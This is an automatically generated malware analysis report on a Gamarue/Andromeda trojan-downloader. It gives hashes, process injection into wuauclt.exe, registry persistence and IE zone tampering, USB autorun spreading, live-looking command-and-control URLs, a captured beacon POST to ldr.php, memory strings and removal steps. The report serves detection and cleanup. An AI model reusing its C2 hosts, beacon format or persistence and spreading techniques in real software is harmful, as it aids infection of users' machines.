Trojan-Downloader.Win32.Moure_f70fbe6c89

by malwarelabrobot on May 5th, 2014 in Malware Descriptions.

Trojan-Dropper.Win32.Injector.izjp (Kaspersky), Trojan.Gamarue.AP (B) (Emsisoft), Trojan.Gamarue.AP (AdAware), Trojan-Downloader.Win32.Moure.FD, Trojan.Win32.Swrort.3.FD, GenericAutorunWorm.YR (Lavasoft MAS)
Behaviour: Trojan-Dropper, Trojan-Downloader, Trojan, Worm, WormAutorun


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: f70fbe6c89748e86ad79135dbc12e23f
SHA1: d9e90a81d64b762bbc5c7ca25b0d6b29d9018be9
SHA256: d473e5e45bcb8428b735e13b254fc6fb2d0a7909b7bf0b6099fb0462816a01a1
SSDeep: 12288:6xG8wgVFzxyQfwLVmuDqE871hkgQuoWiM/lM0v/CMigk:6rnFzUKwxmmc7HQfe/lM03Cwk
Size: 452096 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: Rightapp software
Created at: 2010-05-05 11:46:42
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan-Downloader. Trojan program, which downloads files from the Internet without user's notice and executes them.

Payload

Behaviour Description
WormAutorun A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan-Downloader's file once a user opens a drive's folder in Windows Explorer.


Process activity

The Trojan-Downloader creates the following process(es):

%original file name%.exe:61084
%original file name%.exe:1144

The Trojan-Downloader injects its code into the following process(es):

wuauclt.exe:58692

File activity

The process %original file name%.exe:61084 makes changes in the file system.
The Trojan-Downloader creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\01.tmp (2321 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_install_\msiexec.exe (283 bytes)

The Trojan-Downloader deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\01.tmp (0 bytes)

The process wuauclt.exe:58692 makes changes in the file system.
The Trojan-Downloader creates and/or writes to the following file(s):

%Documents and Settings%\All Users\Local Settings\Temp\ccoywyxzc.exe (5128 bytes)

Registry activity

The process %original file name%.exe:61084 makes changes in the system registry.
The Trojan-Downloader creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E7 FC 26 3D BB F3 93 BC 13 B6 D5 86 42 06 CF 5F"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software]
"ImageBase" = "C6 D5 83 73 0C 73 73 73 0F 73 73 73 70 70 73 73"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\_install_]
"msiexec.exe" = "msiexec"

[HKLM\SOFTWARE\Microsoft]
"0000000B" = "50 4B 03 04 00 EA 00 00 7F 71 00 00 5D 38 4C 8A"

The Trojan-Downloader modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan-Downloader modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan-Downloader modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The process %original file name%.exe:1144 makes changes in the system registry.
The Trojan-Downloader creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2A BD 09 9D 6A D2 48 FC 20 2A BB 8D BD 20 54 F1"

The process wuauclt.exe:58692 makes changes in the system registry.
The Trojan-Downloader creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 14 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software]
"IMAGE_FILE_HEADER" = "73 60 36 C6 B9 C6 C6 C6 BA C6 C6 C6 C5 C5 C6 C6"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F1 47 50 86 05 59 04 7C A5 12 59 98 6C FA 55 0D"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run]
"31269" = "C:\DOCUME~1\ALLUSE~1\LOCALS~1\Temp\ccoywyxzc.exe"

The Trojan-Downloader modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan-Downloader modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan-Downloader modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan-Downloader deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5 File path
d47f069cd335095c3c2e1ee3d165dd33 c:\Documents and Settings\All Users\Local Settings\Temp\ccoywyxzc.exe
d47f069cd335095c3c2e1ee3d165dd33 c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\_install_\msiexec.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan-Downloader's file once a user opens a drive's folder in Windows Explorer.

VersionInfo

Company Name: Hause
Product Name: Hunpe
Product Version: 3, 0, 0, 0
Legal Copyright: Copyright Radume(c) 2013
Legal Trademarks: Gioka(c)
Original Filename: Zoda
Internal Name: Zravka
File Version: 1, 3, 4, 7
File Description: Darko
Comments: Preshin
Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
UPX0 4096 3268608 0 0 d41d8cd98f00b204e9800998ecf8427e
UPX1 3272704 413696 412672 5.35087 9ad545846b364adfe189b2df700d6ef1
.rsrc 3686400 40960 38400 5.04535 864b434f8ae66f8ce9b29da617cc6daa

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 4
9044b29db6caeb6b0ffe75fa67816da9
59a43bf2acf2f4d39ab14aaf61dcba36
722680646250d9ed099fc6f625b5f388
0b9bb9eab4bdddc4eb80bb23b803a24c

URLs

URL IP
hxxp://a.sobea.in/uzdquzdhlptylptycgkosgkosxbfjnbk 50.116.32.177
hxxp://hzmksreiuojy.biz/ldr.php 50.63.202.66
www.update.microsoft.com 207.46.201.122
hzmksreiuojy.in
hzmksreiuojy.com
hzmksreiuojy.nl
hzmksreiuojy.ru


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET MALWARE Suspicious Mozilla User-Agent - Likely Fake (Mozilla/4.0)
ET TROJAN Andromeda Checkin

Traffic

POST /ldr.php HTTP/1.1
Host: hzmksreiuojy.biz
User-Agent: Mozilla/4.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Connection: close

upqchSE8slDLE Bgn4KGIwiLrX8zUN68T3yqvhQu2TqetQn3qIy7Q6bpTfDUtYIftZ33Mx0PLwog9mY3qw==
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 04 May 2014 04:06:51 GMT
Content-Length: 326
Age: 1
Connection: close
<!DOCTYPE html><body style="padding:0; margin:0;"><ifra
me src="hXXp://mcc.godaddy.com/park/qJ16rTMypaMbLaqfYz92oD==?=404;http
://hzmksreiuojy.biz:80/ldr.php" style="visibility: visible;height: 200
0px;" allowtransparency="true" marginheight="0" marginwidth="0" frameb
order="0" scrolling="no" width="100%"></iframe></body>&
lt;/html>..


wuauclt.exe_58692:

.text
`.data
.rsrc
@.reloc
wuauclt.pdb
GetProcessHeap
KERNEL32.dll
_wcmdln
_amsg_exit
msvcrt.dll
ntdll.dll
ole32.dll
RegCloseKey
RegOpenKeyExW
RegCreateKeyExW
ADVAPI32.dll
USER32.dll
OLEAUT32.dll
SHLWAPI.dll
zcÁ
version="6.0.0.0"
name="Microsoft.Windows.windowsupdate.wuauclt"
true
name="Microsoft.Windows.Common-Controls"
publicKeyToken="6595b64144ccf1df"
wuaueng.dll
Error: 0xx. wuauclt handler: failed to spawn COM server
Error: 0xx. wuauclt handler: failed to load wuaueng
/ReportNow
/ShowWindowsUpdate
/CloseWindowsUpdate
wuauclt.exe failed to get proc address for UI export object with error %#lx
Failed to load %s with error %X
wucltui.dll
wucltux.dll
call RunAUClientUI on wucltui.dll/wucltux.dll
Ntdll.dll
WuSqm %ls session datapoint (id:%d) is incremented with dword %d.
wuauclt.exe is exiting with code 0xX
wuauclt.exe launched with command line %s
kernel32.dll
WUWeb
Report
7.6.7600.256
Global\WindowsUpdateTracingMutex
WindowsUpdate.log
SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Trace
Windows
shell32.dll
%s: %s [
%s: %s
%s\%s
= Module: %s
= Module: 
= Process: %s
= Process: 
=========== Logging initialized (build: %s, tz: %s) ===========
wups2.dll
wups.dll
Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Setup\ServiceStartup\
%hs %ls page "%ls", hr=%X
Microsoft.WindowsUpdate
wupdmgr.exe
Failed to cocreate IShellWindows, error = 0xlX
Failed to obtain window doc for window %d, error = 0xlX
Failed to obtain folder view for window %d, error = 0xlX
Failed to obtain folder IPersist for window %d, error = 0xlX
Window %d is NOT a WU window
Done enumerating windows
Quit for window %d failed: 0xlX
Window %d is a WU window. Attempting to close
Failed to obtain class ID for window %d, error = 0xlX
Got NULL disp interface for window %d
Got %d instead of VT_DISPATCH for window %d
Failed to obtain IWebBrowserApp for window %d, error = 0xlX
Failed to enumerate window %d, error = 0xlX
Found %d explorer windows
Closing WU explorer windows
Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\VolatileData
WUAppNotificationWindows
SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired
SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired\Mandatory
SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\PostRebootReporting
SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Services\Pending\
%chdhd
hd-hd-hd%chd:hd:hd:hd
Windows Update
7.6.7600.256 (winmain_wtr_wsus3sp2(oobla).120602-1459)
wuauclt.exe
Windows
Operating System

wuauclt.exe_58692_rwx_000A0000_00009000:

.code
.import
NtDelayExecution
ntdll.dll
GetWindowsDirectoryW
kernel32.dll
software\microsoft\windows nt\currentversion\windows
software\microsoft\windows\currentversion\Policies\Explorer\Run
ccX.dat
http://8.8.8.8/xxxxxxxxx.php
http://hzmksreiuojy.in/ldr.php
http://hzmksreiuojy.ru/ldr.php
http://hzmksreiuojy.com/ldr.php
http://hzmksreiuojy.biz/ldr.php
http://hzmksreiuojy.nl/ldr.php
POST /%s HTTP/1.1
Host: %s
User-Agent: Mozilla/4.0
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
GET /%s HTTP/1.0
www.update.microsoft.com
GetProcessHeap
ws2_32.dll
RegCloseKey
RegCreateKeyExA
RegOpenKeyExA
RegSetKeySecurity
advapi32.dll
user32.dll
dnsapi.dll
KERNEL32.DLL
\system32\wuauclt.exe
\syswow64\svchost.exe
4%userprofile%
%s\cc%s.%s
)X
x.exe

wuauclt.exe_58692_rwx_003B0000_00005000:

software\microsoft\windows nt\currentversion\windows
software\microsoft\windows\currentversion\Policies\Explorer\Run
ccX.dat
http://8.8.8.8/xxxxxxxxx.php
http://hzmksreiuojy.in/ldr.php
http://hzmksreiuojy.ru/ldr.php
http://hzmksreiuojy.com/ldr.php
http://hzmksreiuojy.biz/ldr.php
http://hzmksreiuojy.nl/ldr.php
POST /%s HTTP/1.1
Host: %s
User-Agent: Mozilla/4.0
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
GET /%s HTTP/1.0
www.update.microsoft.com
NtDelayExecution
ntdll.dll
GetProcessHeap
kernel32.dll
ws2_32.dll
RegCloseKey
RegCreateKeyExA
RegOpenKeyExA
RegSetKeySecurity
advapi32.dll
user32.dll
dnsapi.dll
4%userprofile%
%s\cc%s.%s
)X
x.exe

wuauclt.exe_58692_rwx_00400000_0000E000:

.text
`.data
.rsrc
@.reloc
wuauclt.pdb
GetProcessHeap
KERNEL32.dll
_wcmdln
_amsg_exit
msvcrt.dll
ntdll.dll
ole32.dll
RegCloseKey
RegOpenKeyExW
RegCreateKeyExW
ADVAPI32.dll
USER32.dll
OLEAUT32.dll
SHLWAPI.dll
zcÁ
version="6.0.0.0"
name="Microsoft.Windows.windowsupdate.wuauclt"
true
name="Microsoft.Windows.Common-Controls"
publicKeyToken="6595b64144ccf1df"
wuaueng.dll
Error: 0xx. wuauclt handler: failed to spawn COM server
Error: 0xx. wuauclt handler: failed to load wuaueng
/ReportNow
/ShowWindowsUpdate
/CloseWindowsUpdate
wuauclt.exe failed to get proc address for UI export object with error %#lx
Failed to load %s with error %X
wucltui.dll
wucltux.dll
call RunAUClientUI on wucltui.dll/wucltux.dll
Ntdll.dll
WuSqm %ls session datapoint (id:%d) is incremented with dword %d.
wuauclt.exe is exiting with code 0xX
wuauclt.exe launched with command line %s
kernel32.dll
WUWeb
Report
7.6.7600.256
Global\WindowsUpdateTracingMutex
WindowsUpdate.log
SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Trace
Windows
shell32.dll
%s: %s [
%s: %s
%s\%s
= Module: %s
= Module: 
= Process: %s
= Process: 
=========== Logging initialized (build: %s, tz: %s) ===========
wups2.dll
wups.dll
Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Setup\ServiceStartup\
%hs %ls page "%ls", hr=%X
Microsoft.WindowsUpdate
wupdmgr.exe
Failed to cocreate IShellWindows, error = 0xlX
Failed to obtain window doc for window %d, error = 0xlX
Failed to obtain folder view for window %d, error = 0xlX
Failed to obtain folder IPersist for window %d, error = 0xlX
Window %d is NOT a WU window
Done enumerating windows
Quit for window %d failed: 0xlX
Window %d is a WU window. Attempting to close
Failed to obtain class ID for window %d, error = 0xlX
Got NULL disp interface for window %d
Got %d instead of VT_DISPATCH for window %d
Failed to obtain IWebBrowserApp for window %d, error = 0xlX
Failed to enumerate window %d, error = 0xlX
Found %d explorer windows
Closing WU explorer windows
Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\VolatileData
WUAppNotificationWindows
SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired
SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired\Mandatory
SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\PostRebootReporting
SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Services\Pending\
%chdhd
hd-hd-hd%chd:hd:hd:hd
Windows Update
7.6.7600.256 (winmain_wtr_wsus3sp2(oobla).120602-1459)
wuauclt.exe
Windows
Operating System

wuauclt.exe_58692_rwx_00900000_00013000:

.text
`.rdata
@.data
.rsrc
@.reloc
GetProcessWindowStation
T:\ldr\CUSTOM\local\Worm65.DLL.PnP\Release\Worm65.DLL.pdb
URLDownloadToFileW
urlmon.dll
KERNEL32.dll
keybd_event
USER32.dll
RegOpenKeyExW
RegCloseKey
ADVAPI32.dll
ole32.dll
GetCPInfo
Worm65.DLL.dll
[.ShellClassInfo]
IconResource=%systemroot%\system32\SHELL32.dll,7
IconFile=%SystemRoot%\system32\SHELL32.dll
%System%\wuauclt.exe
nKERNEL32.DLL
mscoree.dll
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
WUSER32.DLL
http://a.sobea.in/
http://b.sobea.in/
http://c.sobea.in/
Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
%s\%s
%s.exe
Thumbs.db
desktop.ini
autorun.inf
Wkernel32.dll
%s\desktop.ini
%s\_W%s.init
%s\Thumbs.db
_W%s.init,krnl %s %s
%s\Removable Disk (%dGB).lnk
shell32.dll
%s\%s (%dGB).lnk
%sautorun.inf


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    %original file name%.exe:61084
    %original file name%.exe:1144

  2. Delete the original Trojan-Downloader file.
  3. Delete or disinfect the following files created/modified by the Trojan-Downloader:

    %Documents and Settings%\%current user%\Local Settings\Temp\01.tmp (2321 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\_install_\msiexec.exe (283 bytes)
    %Documents and Settings%\All Users\Local Settings\Temp\ccoywyxzc.exe (5128 bytes)

  4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  5. Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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